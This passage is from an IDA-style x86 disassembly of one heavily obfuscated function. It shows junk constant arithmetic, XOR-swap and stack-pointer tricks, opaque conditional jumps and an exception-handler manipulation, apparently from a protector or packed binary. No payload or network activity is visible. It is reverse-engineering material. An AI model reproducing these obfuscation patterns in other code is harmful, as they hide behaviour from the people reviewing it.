		jmp	loc_59C447
; ---------------------------------------------------------------------------


loc_5AA90D:				; CODE XREF: sub_58A891+13940j
					; sub_58A891+26F88j
		shl	ebx, 7
		not	ebx
		jmp	loc_5A9518
; ---------------------------------------------------------------------------


loc_5AA917:				; CODE XREF: sub_58A891+1CCE3j
		push	esi
		jmp	loc_5ACBDC
; ---------------------------------------------------------------------------


loc_5AA91D:				; CODE XREF: sub_58A891+22834j
					; sub_58A891+26757j
		mov	ecx, [esp-0Eh+arg_4+2]
		add	esp, 4
		jmp	loc_5A40FF
; ---------------------------------------------------------------------------


loc_5AA928:				; CODE XREF: sub_58A891+1CA06j
		jmp	loc_5AD102
; ---------------------------------------------------------------------------


loc_5AA92D:				; CODE XREF: sub_58A891+21459j
		mov	edi, [esp+6Ch+var_6C]
		jmp	loc_5ABB38
; ---------------------------------------------------------------------------


loc_5AA935:				; CODE XREF: sub_58A891+2079Fj
		sub	ecx, 0B9EA75BBh
		and	ebx, ecx
		pop	ecx
		push	36Eh
		jmp	loc_5A58A7
; ---------------------------------------------------------------------------


loc_5AA948:				; CODE XREF: sub_58A891+285FCj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		xchg	eax, [esp+6Ch+var_6C]
		pop	esp
		mov	word ptr [esp+68h+var_68], dx
		jmp	loc_5A3F87
; ---------------------------------------------------------------------------


loc_5AA969:				; CODE XREF: sub_58A891+2660Cj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5AFBDE
; ---------------------------------------------------------------------------


loc_5AA975:				; CODE XREF: sub_58A891+1DB5Cj
		pop	ebp
		add	edi, 4
		push	edi
		push	[esp+82h+var_7E]
		pop	edi
		pop	[esp+82h+var_82]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 0D5B64E0h
		shr	esi, 3
		jp	loc_5A0FE9
		jmp	loc_5ACD18
; ---------------------------------------------------------------------------
		mov	eax, 1D743E89h


loc_5AA99D:				; CODE XREF: sub_58A891+27565j
		xor	ebp, [esp+82h+var_82]
		xor	[esp+82h+var_82], ebp
		xor	ebp, [esp+82h+var_82]
		pop	esp
		jmp	loc_5B20C5
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+82h+var_82]
		jmp	loc_5AA199
; ---------------------------------------------------------------------------


loc_5AA9BF:				; CODE XREF: sub_58A891+1713Cj
		pop	edx
		xchg	esi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		shr	eax, 8
		jmp	loc_5B1EE5
; ---------------------------------------------------------------------------


loc_5AA9CE:				; CODE XREF: sub_58A891:loc_5AA145j
		sub	ebp, 75405A52h
		xor	ebp, 5F001DD3h
		jmp	loc_5AABDF
; ---------------------------------------------------------------------------


loc_5AA9DF:				; CODE XREF: sub_58A891+26D44j
		inc	esi
		shl	esi, 4
		js	loc_5A0E6A
		shl	esi, 4
		jns	loc_5AC8CA
		push	ecx


loc_5AA9F3:				; CODE XREF: sub_58A891+27FCFj
		sub	esp, 4
		mov	[esp+92h+var_92], esp
		jmp	loc_5ABB60
; ---------------------------------------------------------------------------


loc_5AAA01:				; CODE XREF: sub_58A891+1CD92j
		pop	esi
		xor	ebx, [esp+84h+var_86+2]
		xor	[esp+84h+var_86+2], ebx
		xor	ebx, [esp+84h+var_86+2]
		mov	esp, [esp+84h+var_86+2]
		jmp	loc_59FAFA
; ---------------------------------------------------------------------------


loc_5AAA13:				; CODE XREF: sub_58A891+1BDB8j
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		div	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp+2+var_4+2], eax
		jmp	loc_5A7980
; ---------------------------------------------------------------------------


loc_5AAA2D:				; CODE XREF: sub_58A891+1929Fj
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_59E537
; ---------------------------------------------------------------------------


loc_5AAA3B:				; CODE XREF: sub_58A891+24141j
		xor	ch, 18h
		sub	ah, ch
		jmp	loc_5AB6F9
; ---------------------------------------------------------------------------


loc_5AAA45:				; CODE XREF: sub_58A891+1F3A9j
		mov	esi, [esp+5Eh+var_60+2]
		push	7E13h
		jmp	loc_5A6C6A
; ---------------------------------------------------------------------------


loc_5AAA52:				; CODE XREF: sub_58A891+16251j
		mov	esp, [esp+72h+var_74+2]
		sar	word ptr [esp+72h+var_74+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AAA5F:				; CODE XREF: sub_58A891+1A943j
		sub	eax, 4
		xchg	eax, [esp+82h+var_82]
		pop	esp
		mov	[esp+7Eh+var_7E], edx
		jmp	loc_5A840B
; ---------------------------------------------------------------------------


loc_5AAA6E:				; CODE XREF: sub_58A891+16C50j
					; sub_58A891+20CDAj
		xor	eax, ebp
		pop	ebp
		and	[edi+1Ch], eax
		push	[esp+70h+var_70]
		push	[esp+74h+var_74]
		mov	eax, [esp+78h+var_7A+2]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 69405DC5h
		dec	esi
		add	esi, 96BFA240h
		add	edi, esi
		jmp	loc_5A8D00
; ---------------------------------------------------------------------------


loc_5AAA9A:				; CODE XREF: sub_58A891+16D29j
		add	ecx, 64FC0D45h
		sub	ecx, ebx
		jmp	loc_59E419
; ---------------------------------------------------------------------------


loc_5AAAA7:				; CODE XREF: sub_58A891+21E45j
		pop	ecx
		xchg	edi, [esp+0]
		pop	esp
		push	eax
		mov	ah, 1
		jmp	loc_59FAE5
; ---------------------------------------------------------------------------


loc_5AAAB4:				; CODE XREF: sub_58A891+27965j
		mov	[esp+0], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5A88BA
; ---------------------------------------------------------------------------


loc_5AAAC0:				; CODE XREF: sub_58A891+1369Bj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2+var_4+2]
		pop	esp
		push	ebx
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A4422
; ---------------------------------------------------------------------------


loc_5AAAD9:				; CODE XREF: sub_58A891+2622Cj
		add	ecx, 17B16516h
		xor	ecx, 82AACE18h
		jmp	loc_59C43D
; ---------------------------------------------------------------------------


loc_5AAAEA:				; CODE XREF: sub_58A891+267C7j
		pop	ebx
		add	edi, 76AE5733h
		jmp	loc_5A959B
; ---------------------------------------------------------------------------


loc_5AAAF6:				; CODE XREF: sub_58A891+180C2j
		sub	edi, esi
		pop	esi
		jmp	loc_5A3DE4
; ---------------------------------------------------------------------------


loc_5AAAFE:				; CODE XREF: sub_58A891+26C8Ej
		add	esp, 4
		push	735Bh
		mov	[esp+40h+var_40], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A6249
; ---------------------------------------------------------------------------


loc_5AAB1F:				; CODE XREF: sub_58A891+282EDj
		mov	ebp, 75B9724Bh
		jmp	loc_59F6DD
; ---------------------------------------------------------------------------


loc_5AAB29:				; CODE XREF: sub_58A891+13243j
		mov	edx, [esp-0Eh+arg_4+2]
		add	esp, 4
		shl	cl, 3
		jmp	loc_5A5CB3
; ---------------------------------------------------------------------------


loc_5AAB37:				; CODE XREF: sub_58A891+1ADD1j
		push	3629h
		mov	[esp+96h+var_96], edx
		mov	edx, 784300E5h
		xor	edx, 562B2BD0h
		sub	edx, 31B94AB9h
		shl	edx, 8
		sub	esp, 4
		mov	[esp+9Ah+var_9A], ebp
		push	ecx
		mov	ecx, 63AD783Bh
		neg	ecx
		add	ecx, 1E5D536Dh
		add	ecx, 1B24B021h
		push	ecx
		pop	ebp
		pop	ecx
		xor	edx, ebp
		pop	ebp
		add	ebp, edx
		jmp	loc_5AE9B8
; ---------------------------------------------------------------------------


loc_5AAB7D:				; CODE XREF: sub_58A891+21851j
		sub	edi, 394C388Bh
		sub	edi, 2C161134h
		mov	eax, [esp+96h+var_96]
		jmp	loc_5ACC6E
; ---------------------------------------------------------------------------


loc_5AAB91:				; CODE XREF: sub_58A891+11E7Cj
		mov	edx, 24D533Ah
		jmp	loc_5A7B69
; ---------------------------------------------------------------------------


loc_5AAB9B:				; CODE XREF: sub_58A891+13D00j
		push	4E6F5B76h
		jmp	loc_59C0B0
; ---------------------------------------------------------------------------


loc_5AABA5:				; CODE XREF: sub_58A891+1280Cj
		push	eax
		jmp	loc_5B23CB
; ---------------------------------------------------------------------------


loc_5AABAB:				; CODE XREF: sub_58A891+21E16j
		pop	esp
		mov	[esp+0], esp
		push	esi
		mov	esi, 4
		jmp	loc_5AE487
; ---------------------------------------------------------------------------


loc_5AABBA:				; CODE XREF: sub_58A891+17F52j
		xor	ebx, 49687B9Dh
		sub	ebx, 758D7F3Ah
		or	ebx, 2AC07AB1h
		add	ebx, 0C2B2AD08h
		sub	edi, ebx
		jmp	loc_59C9C6
; ---------------------------------------------------------------------------


loc_5AABD9:				; CODE XREF: sub_58A891+1C2B0j
		pop	edi
		jmp	loc_59E829
; ---------------------------------------------------------------------------


loc_5AABDF:				; CODE XREF: sub_58A891+20149j
		jbe	loc_5ADE7C
		xor	ebp, 10D13278h
		mov	esi, ebp
		mov	ebp, [esp+8Ah+var_8A]
		add	esp, 4
		push	ebx
		jmp	loc_5A1DAB
; ---------------------------------------------------------------------------


loc_5AABF9:				; CODE XREF: sub_58A891+1A9CDj
		push	edx
		mov	edx, 375A5599h
		add	ebp, edx
		mov	edx, [esp+32h+var_34+2]
		jmp	loc_5A3A3F
; ---------------------------------------------------------------------------


loc_5AAC09:				; CODE XREF: sub_58A891+253C0j
		push	edi
		push	ecx
		mov	ecx, 1A801285h
		xor	ecx, 1A801281h
		jmp	loc_5A0AA7
; ---------------------------------------------------------------------------


loc_5AAC1B:				; CODE XREF: sub_58A891+16FF1j
		mov	edx, 2B7B616Ah
		jmp	loc_5A65CC
; ---------------------------------------------------------------------------


loc_5AAC25:				; CODE XREF: sub_58A891+1E42Dj
		pop	eax
		add	esp, 4
		shr	dh, 6
		jmp	loc_5A42E2
; ---------------------------------------------------------------------------


loc_5AAC31:				; CODE XREF: sub_58A891:loc_5A0828j
		dec	edi
		jo	loc_5AEA8F
		push	0
		sub	[esp-0Ah+arg_0+2], edi
		mov	edi, [esp-0Ah+arg_0+2]
		add	esp, 4
		push	ebp
		mov	ebp, 97B238A1h
		add	edi, 20F80637h
		jmp	loc_5A4034
; ---------------------------------------------------------------------------


loc_5AAC5A:				; CODE XREF: sub_58A891+21D51j
		xor	eax, [esp-0Ah+arg_0+2]
		xor	[esp-0Ah+arg_0+2], eax
		xor	eax, [esp-0Ah+arg_0+2]
		jmp	loc_5B0A68
; ---------------------------------------------------------------------------


loc_5AAC68:				; CODE XREF: sub_58A891+1AA32j
					; sub_58A891+1B919j
		push	7466h
		mov	[esp+3Eh+var_40+2], esi
		jmp	loc_59F5DB
; ---------------------------------------------------------------------------
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AAC7A:				; CODE XREF: sub_58A891+1E16Aj
		pop	ebp
		push	edx
		push	[esp+7Eh+var_7A]
		pop	edx
		pop	[esp+7Eh+var_7E]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, 452226E3h
		push	5A3Bh
		mov	[esp+7Ah+var_7A], ebp
		mov	ebp, 305E0C07h
		sub	esp, 4
		mov	[esp+7Eh+var_7E], esi
		jmp	loc_5A2A04
; ---------------------------------------------------------------------------
		push	1762h
		mov	[esp+82h+var_82], eax
		push	esp
		jmp	loc_5A9768
; ---------------------------------------------------------------------------


loc_5AACB7:				; CODE XREF: sub_58A891+151E7j
		xor	ebx, edx
		pop	edx
		xor	ebx, 25B44951h
		push	ebx
		jmp	loc_59D58C
; ---------------------------------------------------------------------------


loc_5AACC6:				; CODE XREF: sub_58A891+1FE66j
		add	ch, 2Bh
		dec	ch
		jno	loc_5A2431
		jmp	loc_5A6129
; ---------------------------------------------------------------------------
		mov	[esp+0A8h+var_AA+2], ecx
		mov	ecx, esp
		mov	cl, bl


loc_5AACDD:				; CODE XREF: sub_58A891+1B854j
		mov	esi, 68F93F7Fh
		and	esi, 2B9B0946h
		shl	esi, 1
		add	esi, 2F9A5FA5h
		sub	esi, 308A5204h
		sub	ebx, esi
		pop	esi
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		jmp	loc_5AC0E7
; ---------------------------------------------------------------------------


loc_5AAD05:				; CODE XREF: sub_58A891:loc_5AE3F9j
		jmp	loc_5A15C7
; ---------------------------------------------------------------------------


loc_5AAD0A:				; CODE XREF: sub_58A891+21680j
		add	esp, 4
		push	ebx
		jmp	loc_5A11CB
; ---------------------------------------------------------------------------


loc_5AAD16:				; CODE XREF: sub_58A891+14C94j
		mov	esi, 7B2E195Ch
		push	esi
		jmp	loc_5A316B
; ---------------------------------------------------------------------------


loc_5AAD21:				; CODE XREF: sub_58A891+27E96j
		mov	edi, 49023EFCh
		xor	edi, 7247463h
		jmp	loc_5B0A54
; ---------------------------------------------------------------------------


loc_5AAD31:				; CODE XREF: sub_58A891+251BDj
		mov	ah, bh
		mov	dh, ah
		pop	eax
		mov	ebx, [esp-0Eh+arg_4+2]
		add	esp, 4
		jmp	loc_5AE9DC
; ---------------------------------------------------------------------------


loc_5AAD44:				; CODE XREF: sub_58A891+27F2Fj
		pop	edi
		sub	edx, ebx
		add	edx, 930052Eh
		push	[esp-16h+arg_E]
		pop	ebx
		push	1275h
		mov	[esp-12h+arg_8+2], esi
		jmp	loc_5AFB45
; ---------------------------------------------------------------------------


loc_5AAD5E:				; CODE XREF: sub_58A891+1720Ej
		shr	ecx, 2
		jmp	loc_59D479
; ---------------------------------------------------------------------------


loc_5AAD66:				; CODE XREF: sub_58A891+12CEEj
		mov	edx, 4F4C0DECh
		mov	eax, edx
		pop	edx
		shl	eax, 6
		shl	eax, 5
		push	ebx
		mov	ebx, 1
		sub	eax, ebx
		pop	ebx
		add	eax, 9F90A005h
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		jmp	loc_59E449
; ---------------------------------------------------------------------------


loc_5AAD91:				; CODE XREF: sub_58A891+1D5F0j
		push	edx
		jmp	loc_5A4D9D
; ---------------------------------------------------------------------------


loc_5AAD97:				; CODE XREF: sub_58A891+149F7j
		pop	eax
		neg	ebx
		jmp	loc_5A57FD
; ---------------------------------------------------------------------------


loc_5AAD9F:				; CODE XREF: sub_58A891+13AFDj
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		push	[esp+16h+var_14+2]
		pop	ebp
		jmp	loc_5A185A
; ---------------------------------------------------------------------------


loc_5AADB2:				; CODE XREF: sub_58A891+1380Aj
		push	ebx
		mov	ebx, 68DE432Ch
		sub	ebx, 68DE4328h
		add	edi, ebx
		jmp	loc_5A6AF0
; ---------------------------------------------------------------------------


loc_5AADC5:				; CODE XREF: sub_58A891+250F5j
		push	[esp+9Ah+var_9A]
		pop	ebx
		push	edx
		mov	edx, esp
		push	eax
		push	ebp
		mov	ebp, 46B4594Ah
		shl	ebp, 3
		and	ebp, 0CE73FC6h
		shr	ebp, 4
		jnp	loc_5B1E4F
		add	ebp, 5530FB7Dh
		mov	eax, ebp
		pop	ebp
		mov	dh, dl
		push	esp


loc_5AADF1:				; CODE XREF: sub_58A891+16B9Dj
		xor	ch, al
		pop	eax
		push	ecx
		mov	cl, 0C1h
		mov	bh, cl
		pop	ecx
		xor	bh, ch
		pop	ecx
		xor	al, bh
		push	[esp+9Eh+var_9E]
		pop	ebx
		jmp	loc_5A6E7B
; ---------------------------------------------------------------------------


loc_5AAE08:				; CODE XREF: sub_58A891+1BC34j
		mov	edi, [esp+86h+var_86]
		add	esp, 4
		sub	ebx, 1
		and	ebx, 6E833C91h
		push	ebx
		inc	[esp+86h+var_86]
		jmp	loc_5A79DB
; ---------------------------------------------------------------------------


loc_5AAE26:				; CODE XREF: sub_58A891+24185j
		add	ecx, 52346F7Eh
		inc	ecx
		add	ecx, 8F6A859Fh
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+86h+var_82]
		pop	esi
		pop	[esp+86h+var_86]
		pop	esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	esi
		jmp	loc_59FCE9
; ---------------------------------------------------------------------------


loc_5AAE4F:				; CODE XREF: sub_58A891+1C668j
		add	esp, 4
		and	ebp, edi
		pop	edi
		xchg	edi, ebp
		jmp	loc_5A6E35
; ---------------------------------------------------------------------------


loc_5AAE5F:				; CODE XREF: sub_58A891+26167j
		add	esp, 4
		pop	edi
		sub	ebx, 548A097Bh
		jmp	loc_59ECBD
; ---------------------------------------------------------------------------


loc_5AAE71:				; CODE XREF: sub_58A891+160A0j
		push	edi
		mov	edi, 3A490490h
		not	edi
		sub	edi, 4E2923B3h
		or	edi, 4C106DA8h
		sub	edi, 0B305F606h
		add	ebx, edi
		pop	edi
		add	edx, ebx
		jmp	loc_5A9EA2
; ---------------------------------------------------------------------------


loc_5AAE95:				; CODE XREF: sub_58A891+21BB7j
		mov	eax, 4
		sub	ebx, eax
		mov	eax, [esp+6Ch+var_6C]
		add	esp, 4
		jmp	loc_5AD261
; ---------------------------------------------------------------------------


loc_5AAEAA:				; CODE XREF: sub_58A891+13B07j
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 949BB7C1h
		jmp	loc_5A2A44
; ---------------------------------------------------------------------------


loc_5AAEB7:				; CODE XREF: sub_58A891+24F19j
		jnz	loc_5AF92E
		sub	eax, 0FE4C0695h
		mov	ebp, eax
		mov	eax, [esp+1Ah+var_1C+2]


loc_5AAEC7:				; CODE XREF: sub_58A891+223F3j
		pop	edi
		pop	[esp+16h+var_18+2]
		pop	esp
		push	ebp
		jmp	loc_5ADDC4
; ---------------------------------------------------------------------------


loc_5AAED2:				; CODE XREF: sub_58A891+26A4Aj
		push	eax
		jmp	loc_5A2404
; ---------------------------------------------------------------------------


loc_5AAED8:				; CODE XREF: sub_58A891+245F9j
		pop	[esp+16h+var_18+2]
		jmp	loc_59DE7A
; ---------------------------------------------------------------------------


loc_5AAEE0:				; CODE XREF: sub_58A891+24C1Cj
		push	[esp+12h+var_14+2]
		pop	edi
		add	esp, 4
		add	esp, 4
		jmp	loc_5AE6DA
; ---------------------------------------------------------------------------


loc_5AAEEF:				; CODE XREF: sub_58A891+18E44j
		xchg	edx, [esp+0CEh+var_D0+2]
		pop	esp
		push	4FC0h
		mov	[esp+0CEh+var_D0+2], ebp
		jmp	loc_5AF9F9
; ---------------------------------------------------------------------------


loc_5AAF00:				; CODE XREF: sub_58A891+1392Dj
		mov	eax, edi
		pop	edi
		push	eax
		xchg	esi, [esp+1Ah+var_1C+2]
		jmp	loc_59E68F
; ---------------------------------------------------------------------------


loc_5AAF0C:				; CODE XREF: sub_58A891+1E380j
		mov	edi, 4EB90D0Ch
		add	ebx, edi
		pop	edi
		add	ebx, esi
		sub	ebx, 4EB90D0Ch
		push	[esp+74h+var_74]
		jmp	loc_5A8E5C
; ---------------------------------------------------------------------------


loc_5AAF24:				; CODE XREF: sub_58A891+221ACj
		add	ebp, ebx
		add	ebp, 2E5F18C9h
		jmp	loc_59C2DA
; ---------------------------------------------------------------------------


loc_5AAF31:				; CODE XREF: sub_58A891+12436j
					; sub_58A891+1BE84j
		mov	ebx, 7BAD2937h
		inc	ebx
		push	edi
		mov	edi, 8677040h
		jmp	loc_5AA6C0
; ---------------------------------------------------------------------------


loc_5AAF42:				; CODE XREF: sub_58A891+21769j
		sub	bh, ch
		pop	ecx
		add	al, 7Bh
		sub	al, 77h
		sub	al, bh
		add	al, 77h
		sub	al, 7Bh
		mov	ebx, [esp+82h+var_82]
		jmp	loc_5A34E0
; ---------------------------------------------------------------------------


loc_5AAF57:				; CODE XREF: sub_58A891+1F3DEj
		mov	edi, 35F2336Eh
		sub	esp, 4
		mov	[esp+62h+var_64+2], ebx
		push	edi
		push	0A5A6065h
		pop	edi
		jmp	loc_59D140
; ---------------------------------------------------------------------------


loc_5AAF6E:				; CODE XREF: sub_58A891+1E5CEj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Eh+arg_4+2]
		jmp	loc_5A4363
; ---------------------------------------------------------------------------


loc_5AAF83:				; CODE XREF: sub_58A891+2103Fj
		push	ebx
		jmp	loc_59F952
; ---------------------------------------------------------------------------


loc_5AAF89:				; CODE XREF: sub_58A891+1890Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+84h+var_86+2]
		pop	esp
		add	ebx, eax
		jmp	loc_5A2FAC
; ---------------------------------------------------------------------------


loc_5AAF9E:				; CODE XREF: sub_58A891+217A0j
		add	edi, edx
		pop	edx
		xor	edi, [esp+7Ch+var_7E+2]
		xor	[esp+7Ch+var_7E+2], edi
		xor	edi, [esp+7Ch+var_7E+2]
		pop	esp
		push	edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A0E59
; ---------------------------------------------------------------------------


loc_5AAFBA:				; CODE XREF: sub_58A891+19F4Aj
		push	edx
		mov	edx, 54691545h
		add	[esp+0C6h+var_BE], edx
		mov	edx, [esp+0C6h+var_C8+2]
		add	esp, 4
		sub	[esp+0C2h+var_BE], ecx
		push	ecx
		mov	ecx, 54691545h
		sub	[esp+0C6h+var_BE], ecx
		pop	ecx
		pop	ecx
		push	[esp+0BEh+var_BE]
		push	[esp+0C2h+var_C4+2]
		mov	eax, [esp+0C6h+var_C8+2]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_5AAFF2:				; CODE XREF: sub_58A891+1D18Ej
					; sub_58A891+27431j
		push	3B61h
		mov	[esp+0], ebx
		mov	ebx, 3E7C08FBh
		xor	ebp, ebx
		pop	ebx
		jmp	loc_59D280
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AB00F:				; CODE XREF: sub_58A891+15D0Fj
		push	[esp+96h+var_92]
		jmp	loc_59C27C
; ---------------------------------------------------------------------------


loc_5AB018:				; CODE XREF: sub_58A891+1187Bj
		mov	ebx, 1EAA44C8h
		push	ecx
		mov	ecx, 35EA2C8Ch
		shl	ecx, 2
		dec	ecx
		inc	ecx
		add	ecx, 6314729Fh
		neg	ecx
		jmp	loc_5AA935
; ---------------------------------------------------------------------------


loc_5AB035:				; CODE XREF: sub_58A891+1DD0Bj
		add	edi, edx
		push	edx
		mov	edx, 78C5A34h
		xor	edx, 44E04052h
		xor	edx, 6F6E15A7h
		add	edi, edx
		pop	edx
		add	edi, 2BD56E1Eh
		pop	edx
		push	edi
		jmp	loc_5A5A17
; ---------------------------------------------------------------------------


loc_5AB059:				; CODE XREF: sub_58A891+157E4j
		sub	edx, 6DDA3DF3h
		neg	edx
		add	edx, 70E840B1h
		xor	edx, 1195D5A8h
		and	esi, edx
		push	[esp-0Ah+arg_0+2]
		pop	edx
		add	esp, 4
		shr	esi, 7
		jmp	loc_5A3828
; ---------------------------------------------------------------------------


loc_5AB07E:				; CODE XREF: sub_58A891+263E8j
		pop	ecx
		jmp	loc_5ACE49
; ---------------------------------------------------------------------------


loc_5AB084:				; CODE XREF: sub_58A891+17A5Dj
		add	eax, 15373975h
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		pop	eax
		shl	ecx, 8
		sub	esp, 4
		mov	[esp+0B2h+var_B2], esi
		push	19A3h
		mov	[esp+0B6h+var_B6], edx
		jmp	loc_5AA7AF
; ---------------------------------------------------------------------------


loc_5AB0A6:				; CODE XREF: sub_58A891+1F6DDj
		add	edx, 4
		xchg	edx, [esp-12h+arg_8+2]
		pop	esp
		push	0BB4h
		jmp	loc_5AD4C5
; ---------------------------------------------------------------------------


loc_5AB0BA:				; CODE XREF: sub_58A891+18D20j
		push	edi
		mov	edi, 7BD7777h
		and	edi, 2D710899h
		jmp	loc_5A245A
; ---------------------------------------------------------------------------


loc_5AB0CB:				; CODE XREF: sub_58A891+1DDFFj
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		pop	edi
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 0BEC4B00h
		inc	ebx
		jl	loc_5A62E3
		xor	ebx, 42590C78h
		jmp	loc_5A1B09
; ---------------------------------------------------------------------------


loc_5AB0F9:				; CODE XREF: sub_58A891+1DD1Fj
		sub	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59E8D7
; ---------------------------------------------------------------------------


loc_5AB10D:				; CODE XREF: sub_58A891+1D9B4j
		pop	eax
		add	ecx, 7F2076CEh
		add	ecx, edi
		sub	ecx, 7F2076CEh
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+12h+var_14+2]
		jmp	loc_5AA540
; ---------------------------------------------------------------------------


loc_5AB128:				; CODE XREF: sub_58A891+19C4Fj
		and	eax, 42810E06h
		sub	eax, 4E601D49h
		add	eax, 6ED1460Ch
		and	ebx, eax
		pop	eax
		sub	ebx, 0EE53DE67h
		sub	edi, ebx
		push	[esp+0Eh+var_10+2]
		pop	ebx
		jmp	loc_5A29D6
; ---------------------------------------------------------------------------


loc_5AB14B:				; CODE XREF: sub_58A891+2123Fj
		inc	ebp
		jmp	loc_5AF1CC
; ---------------------------------------------------------------------------


loc_5AB151:				; CODE XREF: sub_58A891+1D735j
		mov	ebx, 20421B86h
		neg	ebx
		jmp	loc_59E5B7
; ---------------------------------------------------------------------------


loc_5AB15D:				; CODE XREF: sub_58A891+250E5j
		sub	edi, ebx
		add	edi, 5A7F3144h
		pop	ebx
		add	ebx, edi
		mov	edi, [esp+96h+var_96]
		jmp	loc_5A5542
; ---------------------------------------------------------------------------


loc_5AB170:				; CODE XREF: sub_58A891+1E88Fj
		add	esp, 4
		add	ebp, ebx
		push	[esp+92h+var_92]
		mov	ebx, [esp+96h+var_96]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Ah+var_9A]
		pop	esp
		add	esp, 4
		xor	ebp, [esp+92h+var_92]
		xor	[esp+92h+var_92], ebp
		xor	ebp, [esp+92h+var_92]
		mov	esp, [esp+92h+var_92]
		movzx	cx, al
		push	small 6DC7h
		mov	word ptr [esp+94h+var_96+2], cx
		jmp	loc_5ACE53
; ---------------------------------------------------------------------------


loc_5AB1AE:				; CODE XREF: sub_58A891+1A63Fj
		add	esi, 9B0FA3CAh
		jmp	loc_59F673
; ---------------------------------------------------------------------------


loc_5AB1B9:				; CODE XREF: sub_58A891+26DA7j
		mov	ebx, 0D126C8Bh
		add	ebx, 27800E53h
		jmp	loc_5A346D
; ---------------------------------------------------------------------------


loc_5AB1C9:				; CODE XREF: sub_58A891+1E361j
		mov	[esp+7Ch+var_7E+2], eax
		mov	eax, 23002D5Eh
		push	edx
		mov	edx, 1F325D27h
		sub	eax, edx
		jmp	loc_5A3256
; ---------------------------------------------------------------------------


loc_5AB1DE:				; CODE XREF: sub_58A891+27C24j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp+7Ch+var_7E+2]
		jmp	loc_5ACAC8
; ---------------------------------------------------------------------------


loc_5AB1EF:				; CODE XREF: sub_58A891+1A76Dj
		pop	esi
		shl	esi, 3
		jmp	loc_5A4E93
; ---------------------------------------------------------------------------


loc_5AB1F8:				; CODE XREF: sub_58A891+1DAB0j
		push	edx
		push	ebp
		sub	esp, 4
		mov	[esp+92h+var_92], ebx
		push	33681F80h
		mov	ebx, [esp+96h+var_96]
		add	esp, 4
		shr	ebx, 1
		jmp	loc_5B1D05
; ---------------------------------------------------------------------------


loc_5AB215:				; CODE XREF: sub_58A891+1B356j
		push	ebx
		jmp	loc_5A31A3
; ---------------------------------------------------------------------------


loc_5AB21B:				; CODE XREF: sub_58A891+2215Cj
		sub	bh, dh
		pop	edx
		jmp	loc_5AF557
; ---------------------------------------------------------------------------


loc_5AB223:				; CODE XREF: sub_58A891+120FDj
		add	dh, 93h
		jmp	loc_5A691F
; ---------------------------------------------------------------------------


loc_5AB22B:				; CODE XREF: sub_58A891+20E18j
		pop	eax
		jmp	loc_5A9DA1
; ---------------------------------------------------------------------------


loc_5AB231:				; CODE XREF: sub_58A891+12C5Dj
		pop	edx
		mov	bl, cl
		pop	ecx
		sub	al, 0D9h
		sub	al, bl
		jmp	loc_59CF94
; ---------------------------------------------------------------------------


loc_5AB23E:				; CODE XREF: sub_58A891+2106Bj
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-0Ah+arg_0+2], edx
		push	ebp
		push	ebx
		push	eax
		mov	eax, 27953FFFh
		mov	ebx, 27954003h
		sub	ebx, eax
		pop	eax
		mov	ebp, ebx
		jmp	loc_59D3CB
; ---------------------------------------------------------------------------


loc_5AB272:				; CODE XREF: sub_58A891+1C4F6j
		push	[esp+12h+var_14+2]
		pop	esi
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A5CFD
; ---------------------------------------------------------------------------


loc_5AB284:				; CODE XREF: sub_58A891+1F053j
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		push	ecx
		jmp	loc_5A6D76
; ---------------------------------------------------------------------------


loc_5AB291:				; CODE XREF: sub_58A891+190BFj
		add	ecx, 8E6133Eh
		pop	edi
		push	ebp
		jmp	loc_5A7BC2
